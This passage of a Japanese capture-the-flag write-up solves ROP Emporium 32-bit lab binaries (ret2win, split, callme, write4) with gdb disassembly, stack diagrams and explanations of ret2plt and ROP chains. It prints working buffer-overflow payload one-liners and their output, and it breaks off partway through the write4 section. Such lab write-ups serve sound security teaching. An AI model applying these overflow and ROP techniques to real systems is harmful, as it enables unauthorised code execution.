   0x0804866c <+19>:    add    esp,0x10
   0x0804866f <+22>:    sub    esp,0xc
   0x08048672 <+25>:    push   0x8048841
   0x08048677 <+30>:    call   0x8048430 <system@plt>
   0x0804867c <+35>:    add    esp,0x10
   0x0804867f <+38>:    nop
   0x08048680 <+39>:    leave  
   0x08048681 <+40>:    ret    
End of assembler dump.

mainではsetvbufで標準入出力のバッファリングを無効にしたり,putsで何かを出力したり,pwnmeを呼んだりしています.putsで出力しているのは,実行時に表示される説明とかです.

次にpwnmeですが,memsetで何かを初期化したり,putsやprintfで何かを出力して,最終的にfgetsで入力値を受け取っています.

最後にret2winですが,こちらもprintfで何かを出力していますが,重要なのはsystem関数を呼んでいる部分です.引数には何を渡しているのでしょうか?渡しているアドレスに何が格納されているかを調べてみます.

gdb-peda$ x/s 0x8048841
0x8048841: "/bin/cat flag.txt"

どうやらret2winはflag.txtを表示してくれる関数のようです.よって,pwnmeのfgetsでBoFさせ,ret2winに遷移させれば終わりです.

アドレスはリトルエンディアンで書きます.

exploit

$ python -c 'print "A" * 44 + "\x59\x86\x04\x08"' |./ret2win32 
ret2win by ROP Emporium
32bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
zsh: done                              python -c 'print "A" * 44 + "\x59\x86\x04\x08"' | 
zsh: segmentation fault (core dumped)  ./ret2win32

split

$ file split32
split32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f8a6d6bf3d264d331ecbf9d1e6858d6eac124b89, not stripped

$ ./split32
split by ROP Emporium
32bits

Contriving a reason to ask user for data...
> hoge

Exiting

BoFする長さとかは全問題で共通しているので,省略します.(1問目と同様に,44文字目以降に任意のアドレスを与えれば,そのアドレスに遷移させることができます)

$ gdb split32
Reading symbols from split32...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ i func
All defined functions:

Non-debugging symbols:
0x080483c0  _init
0x08048400  printf@plt
0x08048410  fgets@plt
0x08048420  puts@plt
0x08048430  system@plt
0x08048440  __libc_start_main@plt
0x08048450  setvbuf@plt
0x08048460  memset@plt
0x08048480  _start
0x080484b0  __x86.get_pc_thunk.bx
0x080484c0  deregister_tm_clones
0x080484f0  register_tm_clones
0x08048530  __do_global_dtors_aux
0x08048550  frame_dummy
0x0804857b  main
0x080485f6  pwnme
0x08048649  usefulFunction
0x08048670  __libc_csu_init
0x080486d0  __libc_csu_fini
0x080486d4  _fini

今度はusefulFunctionという関数があるので,逆アセンブルしてみます.

usefulFunction

gdb-peda$ disas usefulFunction 
Dump of assembler code for function usefulFunction:
   0x08048649 <+0>:  push   ebp
   0x0804864a <+1>: mov    ebp,esp
   0x0804864c <+3>: sub    esp,0x8
   0x0804864f <+6>: sub    esp,0xc
   0x08048652 <+9>: push   0x8048747
   0x08048657 <+14>:    call   0x8048430 <system@plt>
   0x0804865c <+19>:    add    esp,0x10
   0x0804865f <+22>:    nop
   0x08048660 <+23>:    leave  
   0x08048661 <+24>:    ret    
End of assembler dump.

systemに渡されている引数を調べます.

gdb-peda$ x/s 0x8048747
0x8048747:  "/bin/ls"

どうやら,usefulFunctionはlsするだけの関数のようです.どこかにflagをcatしてくれる文字列などが無いかを調べます.

実行ファイル中の文字列をstringsで列挙してみます.

$ strings split32
......
Contriving a reason to ask user for data...
/bin/ls
;*2$"(
/bin/cat flag.txt
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
crtstuff.c
......

すると,/bin/cat flag.txtという文字列が見つかります.system関数はsplitの中にあるので, "/bin/cat flag.txt" を引数として渡してあげれば良さそうです.「関数を引数に渡す」という行為はレジスタへ直接値を入れるか,またはスタックを経由して行われる方法の2通りがありますが,今回はスタックを経由して渡していきます.

スタックを経由して引数を渡す場合,通常push命令を使って値をスタックへ積みます.しかし,オーバーフロー時は任意のアドレスへ遷移させた時と同様に,任意の値をスタックへ用意することができるので,スタックの状態をいい感じにします.

通常のスタックの状態

+-+-+-+-+-+-+-+ ↑low
...............
+-+-+-+-+-+-+-+
  local val
+-+-+-+-+-+-+-+
  saved ebp
+-+-+-+-+-+-+-+
return address
+-+-+-+-+-+-+-+
...............
+-+-+-+-+-+-+-+ ↓ high

今回の場合,入力値を保存する先の変数がlocal val辺りにあるはずです.BoFが起こるとsaved ebp(EBPというスタックの底を表すレジスタの値が保存されている場所です)とreturn address(元のルーチンへ戻る為にスタックへ保存しています)が書き換えられ,任意の場所に遷移させることができるわけです.

これを,オーバーフローさせて以下のようにします.

+-+-+-+-+-+-+-+-+ ↑low
   ......AA
+-+-+-+-+-+-+-+-+
   AAAA
+-+-+-+-+-+-+-+-+
   AAAA
+-+-+-+-+-+-+-+-+
   system@plt(元々のreturn addressをsystem@pltへ)
+-+-+-+-+-+-+-+-+
   return address(system@pltのreturn先)
+-+-+-+-+-+-+-+-+
/bin/cat flag.txtのアドレス
+-+-+-+-+-+-+-+-+
...............
+-+-+-+-+-+-+-+-+ ↓ high

こうすると,system@pltがリターン先となり,最終的に/bin/cat flag.txtを引数としてsystem関数が実行されます.これをret2pltと言います.

@pltというのはplt領域という場所を指しています.この領域は遅延リンクという仕組みを実現するためのもので,その後plt領域からgot領域へ飛び,さらにsystem関数本体へと飛ぶ2段構成になっていたりします.got領域が解決されたアドレスを管理するテーブルになっているのですが,ここら辺の話はググって調べたほうがわかりやすいと思うので,割愛します.

最後に,/bin/cat flag.txtが格納されている場所を調べます.

$ gdb split32
gdb-peda$ find /bin/cat
Searching for '/bin/cat' in: None ranges
Found 1 results, display max 1 items:
split32 : 0x804a030 ("/bin/cat flag.txt")

よって,exploitは以下のようになります.(AAAAはsystem@pltから返る先のアドレスで,ダミーなのでなんでもOKです)

exploit

$ python -c 'print "A" * 44 + "\x30\x84\x04\x08" + "AAAA" + "\x30\xa0\x04\x08"' |./split32
split by ROP Emporium
32bits

Contriving a reason to ask user for data...
> ROPE{a_placeholder_32byte_flag!}
zsh: done                              python -c 'print "A" * 44 + "\x30\x84\x04\x08" + "AAAA" + "\x30\xa0\x04\x08"' | 
zsh: segmentation fault (core dumped)  ./split32

callme

$ file callme32
callme32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=ceeb3a388347fd09bb234f44846f1480ac7abf64, not stripped

$ ./callme32
callme by ROP Emporium
32bits

Hope you read the instructions...
> hoge

Exiting

gdbで見てみます.

$ gdb callme32
Reading symbols from callme32...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ i func
All defined functions:

Non-debugging symbols:
0x08048558  _init
0x08048590  printf@plt
0x080485a0  fgets@plt
0x080485b0  callme_three@plt
0x080485c0  callme_one@plt
0x080485d0  puts@plt
0x080485e0  exit@plt
0x080485f0  __libc_start_main@plt
0x08048600  setvbuf@plt
0x08048610  memset@plt
0x08048620  callme_two@plt
0x08048640  _start
0x08048670  __x86.get_pc_thunk.bx
0x08048680  deregister_tm_clones
0x080486b0  register_tm_clones
0x080486f0  __do_global_dtors_aux
0x08048710  frame_dummy
0x0804873b  main
0x080487b6  pwnme
0x0804880c  usefulFunction
0x08048850  __libc_csu_init
0x080488b0  __libc_csu_fini
0x080488b4  _fini

またusefulFunctionがあります.

usefulFunction

gdb-peda$ disas usefulFunction 
Dump of assembler code for function usefulFunction:
   0x0804880c <+0>:   push   ebp
   0x0804880d <+1>:   mov    ebp,esp
   0x0804880f <+3>:   sub    esp,0x8
   0x08048812 <+6>:   sub    esp,0x4
   0x08048815 <+9>:   push   0x6
   0x08048817 <+11>:  push   0x5
   0x08048819 <+13>:  push   0x4
   0x0804881b <+15>:  call   0x80485b0 <callme_three@plt>
   0x08048820 <+20>:  add    esp,0x10
   0x08048823 <+23>:  sub    esp,0x4
   0x08048826 <+26>:  push   0x6
   0x08048828 <+28>:  push   0x5
   0x0804882a <+30>:  push   0x4
   0x0804882c <+32>:  call   0x8048620 <callme_two@plt>
   0x08048831 <+37>:  add    esp,0x10
   0x08048834 <+40>:  sub    esp,0x4
   0x08048837 <+43>:  push   0x6
   0x08048839 <+45>:  push   0x5
   0x0804883b <+47>:  push   0x4
   0x0804883d <+49>:  call   0x80485c0 <callme_one@plt>
   0x08048842 <+54>:  add    esp,0x10
   0x08048845 <+57>:  sub    esp,0xc
   0x08048848 <+60>:  push   0x1
   0x0804884a <+62>:  call   0x80485e0 <exit@plt>
End of assembler dump.

callme_one , callme_two, callme_threeという見慣れない関数が3つあります.それぞれの関数に対して,第1引数4,第2引数5,第3引数6を渡しています.

今回は共有ライブラリとしてlibcallme32.soというファイルが渡されています.

$ file libcallme32.so
libcallme32.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, BuildID[sha1]=9677f4f42dd5a13429a33e9bd46ca3eab3936934, not stripped

callme_one , callme_two, callme_threeの本体はそれぞれ,この共有ライブラリの中にあります.libcallme32.soを逆アセンブルします.

$ gdb libcallme32.so

callme_one

gdb-peda$ disas callme_one 
Dump of assembler code for function callme_one:
   0x000006d0 <+0>:  push   ebp
   0x000006d1 <+1>: mov    ebp,esp
   0x000006d3 <+3>: push   ebx
   0x000006d4 <+4>: sub    esp,0x14
   0x000006d7 <+7>: call   0x5a0 <__x86.get_pc_thunk.bx>
   0x000006dc <+12>:    add    ebx,0x1924
   0x000006e2 <+18>:    cmp    DWORD PTR [ebp+0x8],0x1
   0x000006e6 <+22>:    jne    0x7ab <callme_one+219>
   0x000006ec <+28>:    cmp    DWORD PTR [ebp+0xc],0x2
   0x000006f0 <+32>:    jne    0x7ab <callme_one+219>
   0x000006f6 <+38>:    cmp    DWORD PTR [ebp+0x10],0x3
   0x000006fa <+42>:    jne    0x7ab <callme_one+219>
   0x00000700 <+48>:    mov    DWORD PTR [ebp-0xc],0x0
   0x00000707 <+55>:    sub    esp,0x8
   0x0000070a <+58>:    lea    eax,[ebx-0x163c]
   0x00000710 <+64>:    push   eax
   0x00000711 <+65>:    lea    eax,[ebx-0x163a]
   0x00000717 <+71>:    push   eax
   0x00000718 <+72>:    call   0x570 <fopen@plt>
   0x0000071d <+77>:    add    esp,0x10
   0x00000720 <+80>:    mov    DWORD PTR [ebp-0xc],eax
   0x00000723 <+83>:    cmp    DWORD PTR [ebp-0xc],0x0
   0x00000727 <+87>:    jne    0x745 <callme_one+117>
   0x00000729 <+89>:    sub    esp,0xc
   0x0000072c <+92>:    lea    eax,[ebx-0x1624]
   0x00000732 <+98>:    push   eax
   0x00000733 <+99>:    call   0x550 <puts@plt>
   0x00000738 <+104>:   add    esp,0x10
   0x0000073b <+107>:   sub    esp,0xc
   0x0000073e <+110>:   push   0x1
   0x00000740 <+112>:   call   0x560 <exit@plt>
   0x00000745 <+117>:   sub    esp,0xc
   0x00000748 <+120>:   push   0x21
   0x0000074a <+122>:   call   0x540 <malloc@plt>
   0x0000074f <+127>:   add    esp,0x10
   0x00000752 <+130>:   mov    DWORD PTR [ebx+0x34],eax
   0x00000758 <+136>:   mov    eax,DWORD PTR [ebx+0x34]
   0x0000075e <+142>:   test   eax,eax
   0x00000760 <+144>:   jne    0x77e <callme_one+174>
   0x00000762 <+146>:   sub    esp,0xc
   0x00000765 <+149>:   lea    eax,[ebx-0x1602]
   0x0000076b <+155>:   push   eax
   0x0000076c <+156>:   call   0x550 <puts@plt>
   0x00000771 <+161>:   add    esp,0x10
   0x00000774 <+164>:   sub    esp,0xc
   0x00000777 <+167>:   push   0x1
   0x00000779 <+169>:   call   0x560 <exit@plt>
   0x0000077e <+174>:   mov    eax,DWORD PTR [ebx+0x34]
   0x00000784 <+180>:   sub    esp,0x4
   0x00000787 <+183>:   push   DWORD PTR [ebp-0xc]
   0x0000078a <+186>:   push   0x21
   0x0000078c <+188>:   push   eax
   0x0000078d <+189>:   call   0x520 <fgets@plt>
   0x00000792 <+194>:   add    esp,0x10
   0x00000795 <+197>:   mov    DWORD PTR [ebx+0x34],eax
   0x0000079b <+203>:   sub    esp,0xc
   0x0000079e <+206>:   push   DWORD PTR [ebp-0xc]
   0x000007a1 <+209>:   call   0x530 <fclose@plt>
   0x000007a6 <+214>:   add    esp,0x10
   0x000007a9 <+217>:   jmp    0x7c7 <callme_one+247>
   0x000007ab <+219>:   sub    esp,0xc
   0x000007ae <+222>:   lea    eax,[ebx-0x15e8]
   0x000007b4 <+228>:   push   eax
   0x000007b5 <+229>:   call   0x550 <puts@plt>
   0x000007ba <+234>:   add    esp,0x10
   0x000007bd <+237>:   sub    esp,0xc
   0x000007c0 <+240>:   push   0x1
   0x000007c2 <+242>:   call   0x560 <exit@plt>
   0x000007c7 <+247>:   nop
   0x000007c8 <+248>:   mov    ebx,DWORD PTR [ebp-0x4]
   0x000007cb <+251>:   leave  
   0x000007cc <+252>:   ret    
End of assembler dump.

ざっと見る感じ,第1引数が1,第2引数が2,第3引数が3ではなかったらexitするようになっていて,その後はfopenしてmallocで0x21分領域を確保し,fgetsでファイルから値を読みこんで,確保しておいた領域へ格納,みたいなことをやっています.

callme_twoを見てみます.

callme_two

gdb-peda$ disas callme_two 
Dump of assembler code for function callme_two:
   0x000007cd <+0>:  push   ebp
   0x000007ce <+1>: mov    ebp,esp
   0x000007d0 <+3>: push   esi
   0x000007d1 <+4>: push   ebx
   0x000007d2 <+5>: sub    esp,0x10
   0x000007d5 <+8>: call   0x5a0 <__x86.get_pc_thunk.bx>
   0x000007da <+13>:    add    ebx,0x1826
   0x000007e0 <+19>:    cmp    DWORD PTR [ebp+0x8],0x1
   0x000007e4 <+23>:    jne    0x88e <callme_two+193>
   0x000007ea <+29>:    cmp    DWORD PTR [ebp+0xc],0x2
   0x000007ee <+33>:    jne    0x88e <callme_two+193>
   0x000007f4 <+39>:    cmp    DWORD PTR [ebp+0x10],0x3
   0x000007f8 <+43>:    jne    0x88e <callme_two+193>
   0x000007fe <+49>:    mov    DWORD PTR [ebp-0xc],0x0
   0x00000805 <+56>:    sub    esp,0x8
   0x00000808 <+59>:    lea    eax,[ebx-0x163c]
   0x0000080e <+65>:    push   eax
   0x0000080f <+66>:    lea    eax,[ebx-0x15d3]
   0x00000815 <+72>:    push   eax
   0x00000816 <+73>:    call   0x570 <fopen@plt>
   0x0000081b <+78>:    add    esp,0x10
   0x0000081e <+81>:    mov    DWORD PTR [ebp-0xc],eax
   0x00000821 <+84>:    cmp    DWORD PTR [ebp-0xc],0x0
   0x00000825 <+88>:    jne    0x843 <callme_two+118>
   0x00000827 <+90>:    sub    esp,0xc
   0x0000082a <+93>:    lea    eax,[ebx-0x15ca]
   0x00000830 <+99>:    push   eax
   0x00000831 <+100>:   call   0x550 <puts@plt>
   0x00000836 <+105>:   add    esp,0x10
   0x00000839 <+108>:   sub    esp,0xc
   0x0000083c <+111>:   push   0x1
   0x0000083e <+113>:   call   0x560 <exit@plt>
   0x00000843 <+118>:   mov    DWORD PTR [ebp-0x10],0x0
   0x0000084a <+125>:   mov    DWORD PTR [ebp-0x10],0x0
   0x00000851 <+132>:   jmp    0x886 <callme_two+185>
   0x00000853 <+134>:   sub    esp,0xc
   0x00000856 <+137>:   push   DWORD PTR [ebp-0xc]
   0x00000859 <+140>:   call   0x580 <fgetc@plt>
   0x0000085e <+145>:   add    esp,0x10
   0x00000861 <+148>:   mov    esi,eax
   0x00000863 <+150>:   mov    edx,DWORD PTR [ebx+0x34]
   0x00000869 <+156>:   mov    eax,DWORD PTR [ebp-0x10]
   0x0000086c <+159>:   add    eax,edx
   0x0000086e <+161>:   mov    ecx,DWORD PTR [ebx+0x34]
   0x00000874 <+167>:   mov    edx,DWORD PTR [ebp-0x10]
   0x00000877 <+170>:   add    edx,ecx
   0x00000879 <+172>:   movzx  edx,BYTE PTR [edx]
   0x0000087c <+175>:   mov    ecx,esi
   0x0000087e <+177>:   xor    edx,ecx
   0x00000880 <+179>:   mov    BYTE PTR [eax],dl
   0x00000882 <+181>:   add    DWORD PTR [ebp-0x10],0x1
   0x00000886 <+185>:   cmp    DWORD PTR [ebp-0x10],0xf
   0x0000088a <+189>:   jle    0x853 <callme_two+134>
   0x0000088c <+191>:   jmp    0x8aa <callme_two+221>
   0x0000088e <+193>:   sub    esp,0xc
   0x00000891 <+196>:   lea    eax,[ebx-0x15e8]
   0x00000897 <+202>:   push   eax
   0x00000898 <+203>:   call   0x550 <puts@plt>
   0x0000089d <+208>:   add    esp,0x10
   0x000008a0 <+211>:   sub    esp,0xc
   0x000008a3 <+214>:   push   0x1
   0x000008a5 <+216>:   call   0x560 <exit@plt>
   0x000008aa <+221>:   nop
   0x000008ab <+222>:   lea    esp,[ebp-0x8]
   0x000008ae <+225>:   pop    ebx
   0x000008af <+226>:   pop    esi
   0x000008b0 <+227>:   pop    ebp
   0x000008b1 <+228>:   ret

こちらも同様に,第1引数が1,第2引数が2,第3引数が3であるかどうかチェックした後,fopenしています.その後,0x0 → 0xfの16回のループに入っていますが,どうやらfgetcでfopenしたファイルから1文字ずつ読み取った値とcallme_oneで確保した領域をxorしています.

  • 0x00000853 - 0x0000088a をループ
  • movzx edx,BYTE PTR [edx] で callme_one で確保した領域から1バイト取り出し,edxに格納
  • mov ecx,esi にてfopenしたファイルから読み取った1文字をecxに格納
  • xor edx,ecx で2つの値をxor

最後に,callme_threeを見てみます.

callme_three

gdb-peda$ disas callme_three 
Dump of assembler code for function callme_three:
   0x000008b2 <+0>:  push   ebp
   0x000008b3 <+1>: mov    ebp,esp
   0x000008b5 <+3>: push   esi
   0x000008b6 <+4>: push   ebx
   0x000008b7 <+5>: sub    esp,0x10
   0x000008ba <+8>: call   0x5a0 <__x86.get_pc_thunk.bx>
   0x000008bf <+13>:    add    ebx,0x1741
   0x000008c5 <+19>:    cmp    DWORD PTR [ebp+0x8],0x1
   0x000008c9 <+23>:    jne    0x994 <callme_three+226>
   0x000008cf <+29>:    cmp    DWORD PTR [ebp+0xc],0x2
   0x000008d3 <+33>:    jne    0x994 <callme_three+226>
   0x000008d9 <+39>:    cmp    DWORD PTR [ebp+0x10],0x3
   0x000008dd <+43>:    jne    0x994 <callme_three+226>
   0x000008e3 <+49>:    mov    DWORD PTR [ebp-0xc],0x0
   0x000008ea <+56>:    sub    esp,0x8
   0x000008ed <+59>:    lea    eax,[ebx-0x163c]
   0x000008f3 <+65>:    push   eax
   0x000008f4 <+66>:    lea    eax,[ebx-0x15b2]
   0x000008fa <+72>:    push   eax
   0x000008fb <+73>:    call   0x570 <fopen@plt>
   0x00000900 <+78>:    add    esp,0x10
   0x00000903 <+81>:    mov    DWORD PTR [ebp-0xc],eax
   0x00000906 <+84>:    cmp    DWORD PTR [ebp-0xc],0x0
   0x0000090a <+88>:    jne    0x928 <callme_three+118>
   0x0000090c <+90>:    sub    esp,0xc
   0x0000090f <+93>:    lea    eax,[ebx-0x15a9]
   0x00000915 <+99>:    push   eax
   0x00000916 <+100>:   call   0x550 <puts@plt>
   0x0000091b <+105>:   add    esp,0x10
   0x0000091e <+108>:   sub    esp,0xc
   0x00000921 <+111>:   push   0x1
   0x00000923 <+113>:   call   0x560 <exit@plt>
   0x00000928 <+118>:   mov    DWORD PTR [ebp-0x10],0x10
   0x0000092f <+125>:   mov    DWORD PTR [ebp-0x10],0x10
   0x00000936 <+132>:   jmp    0x96b <callme_three+185>
   0x00000938 <+134>:   sub    esp,0xc
   0x0000093b <+137>:   push   DWORD PTR [ebp-0xc]
   0x0000093e <+140>:   call   0x580 <fgetc@plt>
   0x00000943 <+145>:   add    esp,0x10
   0x00000946 <+148>:   mov    esi,eax
   0x00000948 <+150>:   mov    edx,DWORD PTR [ebx+0x34]
   0x0000094e <+156>:   mov    eax,DWORD PTR [ebp-0x10]
   0x00000951 <+159>:   add    eax,edx
   0x00000953 <+161>:   mov    ecx,DWORD PTR [ebx+0x34]
   0x00000959 <+167>:   mov    edx,DWORD PTR [ebp-0x10]
   0x0000095c <+170>:   add    edx,ecx
   0x0000095e <+172>:   movzx  edx,BYTE PTR [edx]
   0x00000961 <+175>:   mov    ecx,esi
   0x00000963 <+177>:   xor    edx,ecx
   0x00000965 <+179>:   mov    BYTE PTR [eax],dl
   0x00000967 <+181>:   add    DWORD PTR [ebp-0x10],0x1
   0x0000096b <+185>:   cmp    DWORD PTR [ebp-0x10],0x1f
   0x0000096f <+189>:   jle    0x938 <callme_three+134>
   0x00000971 <+191>:   mov    eax,DWORD PTR [ebx+0x34]
   0x00000977 <+197>:   sub    esp,0x8
   0x0000097a <+200>:   push   eax
   0x0000097b <+201>:   lea    eax,[ebx-0x1591]
   0x00000981 <+207>:   push   eax
   0x00000982 <+208>:   call   0x510 <printf@plt>
   0x00000987 <+213>:   add    esp,0x10
   0x0000098a <+216>:   sub    esp,0xc
   0x0000098d <+219>:   push   0x0
   0x0000098f <+221>:   call   0x560 <exit@plt>
   0x00000994 <+226>:   sub    esp,0xc
   0x00000997 <+229>:   lea    eax,[ebx-0x15e8]
   0x0000099d <+235>:   push   eax
   0x0000099e <+236>:   call   0x550 <puts@plt>
   0x000009a3 <+241>:   add    esp,0x10
   0x000009a6 <+244>:   sub    esp,0xc
   0x000009a9 <+247>:   push   0x1
   0x000009ab <+249>:   call   0x560 <exit@plt>
End of assembler dump.

oneとtwoと同様に第1引数が1,第2引数が2,第3引数が3であるかどうかチェックし,fopenしています.その後,twoで0xfまでカウントした変数を用いて,今度は0x1fまでループしています.つまりまた16回のループです.そして,twoと同様にxorしています.twoと違うのはその後です.何かをprintfで出力してexitしています.

今回はencrypted_flag.txtとkey1.dat, key2.datという3つのファイルが渡されていますが,ここまでの結果を元に考えると

  • callme_oneでencrypted_flag.txtを開く
  • callme_twoでkey1.datを開き,xorで半分を復号
  • callme_threeでkey2.datを開き,xorでもう半分を復号
  • なお,3つの関数の引数は1, 2, 3にしなければならない

こんな感じになりそうです.

問題文にも You must call callme_one(), callme_two() and callme_three() in that order, each with the arguments 1,2,3 e.g. callme_one(1,2,3) to print the flag. と書かれているので間違いなさそうです.

問題はこれらの関数をどういう風に呼ぶかですが,ここでROPというテクニックが出てきます.ROPとはReturn Oriented Programmingの略であり,popやret命令を繰り返しながらジャンプするように任意コードを実行していくものであり,これを実現するためにpopやretで固まっているコード片(通称ROP gadget)を探す必要があります.

今回の場合,

+-+-+-+-+-+-+-+ ↑low
...............
+-+-+-+-+-+-+-+
  callme_one
+-+-+-+-+-+-+-+
 return address
+-+-+-+-+-+-+-+
      0x1
+-+-+-+-+-+-+-+
      0x2
+-+-+-+-+-+-+-+
      0x3
+-+-+-+-+-+-+-+
  callme_two
+-+-+-+-+-+-+-+
 return address
+-+-+-+-+-+-+-+
      0x1
+-+-+-+-+-+-+-+
      0x2
+-+-+-+-+-+-+-+
      0x3
+-+-+-+-+-+-+-+
  callme_three
+-+-+-+-+-+-+-+
 return address
+-+-+-+-+-+-+-+
      0x1
+-+-+-+-+-+-+-+
      0x2
+-+-+-+-+-+-+-+
      0x3
+-+-+-+-+-+-+-+
...............
+-+-+-+-+-+-+-+ ↓ high

このようなスタックの状態に持っていければ良いのですが,普通のreturn addressを渡してもcallme_oneを呼んだ後に次はcallme_two...という風に綺麗に繋がっていきません.そこで,以下のようなROP gadgetをreturn addressにするとどうでしょうか?

pop esi
pop edi
pop ebp
ret

0x1, 0x2, 0x3をそれぞれpopしてからcallme_twoをret,0x1, 0x2, 0x3をpopしてcallme_threeをret という風に繋げることができます.このような連鎖をROP chainと言います.では,上記のようなROP gadgetを探します.

ROP gadgetを探すツールはいろいろありますが,簡単なものならpedaで十分です.pedaでstartしてからropgadgetコマンドを実行します.

$ gdb callme32
Reading symbols from callme32...(no debugging symbols found)...done.
gdb-peda$ start
...................................
gdb-peda$ ropgadget
ret = 0x8048562
popret = 0x8048579
pop3ret = 0x80488a9
pop4ret = 0x80488a8
pop2ret = 0x80488aa
addesp_12 = 0x8048576
addesp_16 = 0x80486a5

pop3retというのが上記のROP gadgetです.

gdb-peda$ x/4i 0x80488a9
   0x80488a9 <__libc_csu_init+89>:   pop    esi
   0x80488aa <__libc_csu_init+90>:   pop    edi
   0x80488ab <__libc_csu_init+91>:   pop    ebp
   0x80488ac <__libc_csu_init+92>:   ret

これらの情報を元に,exploitを書いていきます.

exploit

callme32

$ python callme32-exploit.py
[+] Starting local process './callme32': pid 14666
callme by ROP Emporium
32bits

Hope you read the instructions...
> 
[*] Process './callme32' stopped with exit code 0 (pid 14666)
ROPE{a_placeholder_32byte_flag!}

おまけ

exploitの中に

f = open('input.txt', 'w')
f.write(payload)
f.close()

と書いて出力されたinput.txtを元に,gdbにて

$ gdb callme32
Reading symbols from callme32...(no debugging symbols found)...done.
gdb-peda$ b *0xXXXXXXXX
gdb-peda $ run < input.txt

(適当な場所にブレークポイントを仕掛けてから,実際にROPが実行されていく様をステップ実行してみると,より理解が深まるかと思います)

write4

$ file write432
write432: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1bbd4a55b5c333daf5020efbb77b8c38fc0d8601, not stripped

$ ./write432
write4 by ROP Emporium
32bits

Go ahead and give me the string already!
> hoge

Exiting

gdbで見てみます.

$ gdb write432
Reading symbols from write432...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ i func
All defined functions:

Non-debugging symbols:
0x080483c0  _init
0x08048400  printf@plt
0x08048410  fgets@plt
0x08048420  puts@plt
0x08048430  system@plt
0x08048440  __libc_start_main@plt
0x08048450  setvbuf@plt
0x08048460  memset@plt
0x08048480  _start
0x080484b0  __x86.get_pc_thunk.bx
0x080484c0  deregister_tm_clones
0x080484f0  register_tm_clones
0x08048530  __do_global_dtors_aux
0x08048550  frame_dummy
0x0804857b  main
0x080485f6  pwnme
0x0804864c  usefulFunction
0x08048670  usefulGadgets
0x08048680  __libc_csu_init
0x080486e0  __libc_csu_fini
0x080486e4  _fini

usefulGadgetsという関数が追加されています.

usefulFunction

gdb-peda$ disas usefulFunction 
Dump of assembler code for function usefulFunction:
   0x0804864c <+0>:  push   ebp
   0x0804864d <+1>: mov    ebp,esp
   0x0804864f <+3>: sub    esp,0x8
   0x08048652 <+6>: sub    esp,0xc
   0x08048655 <+9>: push   0x8048754
   0x0804865a <+14>:    call   0x8048430 <system@plt>
   0x0804865f <+19>:    add    esp,0x10
   0x08048662 <+22>:    nop
   0x08048663 <+23>:    leave  
   0x08048664 <+24>:    ret    
End of assembler dump.
gdb-peda$ x/s 0x8048754
0x8048754: "/bin/ls"

usefulFunctionはlsするだけのようです.

usefulGadgets

gdb-peda$ disas usefulGadgets 
Dump of assembler code for function usefulGadgets:
   0x08048670 <+0>:  mov    DWORD PTR [edi],ebp
   0x08048672 <+2>: ret    
   0x08048673 <+3>: xchg   ax,ax
   0x08048675 <+5>: xchg   ax,ax
   0x08048677 <+7>: xchg   ax,ax
   0x08048679 <+9>: xchg   ax,ax
   0x0804867b <+11>:    xchg   ax,ax
   0x0804867d <+13>:    xchg   ax,ax
   0x0804867f <+15>:    nop
End of assembler dump.

どうやら mov DWORD PTR [edi],ebp というGadgetを使うっぽいです.念のためsplit32の時のように都合のいい文字列が無いかstringsで探してみますが,見つかりません.このGadgetを使って,任意の文字列を格納するしかなさそうです.

このアセンブリは,ediに格納されている値を4バイトのアドレスと見て,そこにebpの値を格納します.ということは,ebpに任意の文字列を渡して,ediにとあるアドレスを格納しておけば,うまくいきそうです.

ediにはどういうアドレスを渡すべきでしょうか?

前提として,書き込み可能な領域でないとダメです.実行ファイル中にどんな領域があるのか調べてみます.

$ readelf -S write432
31 個のセクションヘッダ、始点オフセット 0x196c:

セクションヘッダ:
  [] 名前              タイプ          アドレス Off    サイズ ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        08048154 000154 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048168 000168 000020 00   A  0   0  4
  [ 3] .note.gnu.build-i NOTE            08048188 000188 000024 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        080481ac 0001ac 000030 04   A  5   0  4
  [ 5] .dynsym           DYNSYM          080481dc 0001dc 0000d0 10   A  6   1  4
  [ 6] .dynstr           STRTAB          080482ac 0002ac 000081 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          0804832e 00032e 00001a 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         08048348 000348 000020 00   A  6   1  4
  [ 9] .rel.dyn          REL             08048368 000368 000020 08   A  5   0  4
  [10] .rel.plt          REL             08048388 000388 000038 08  AI  5  24  4
  [11] .init             PROGBITS        080483c0 0003c0 000023 00  AX  0   0  4
  [12] .plt              PROGBITS        080483f0 0003f0 000080 04  AX  0   0 16
  [13] .plt.got          PROGBITS        08048470 000470 000008 00  AX  0   0  8
  [14] .text             PROGBITS        08048480 000480 000262 00  AX  0   0 16
  [15] .fini             PROGBITS        080486e4 0006e4 000014 00  AX  0   0  4
  [16] .rodata           PROGBITS        080486f8 0006f8 000064 00   A  0   0  4
  [17] .eh_frame_hdr     PROGBITS        0804875c 00075c 00003c 00   A  0   0  4
  [18] .eh_frame         PROGBITS        08048798 000798 00010c 00   A  0   0  4
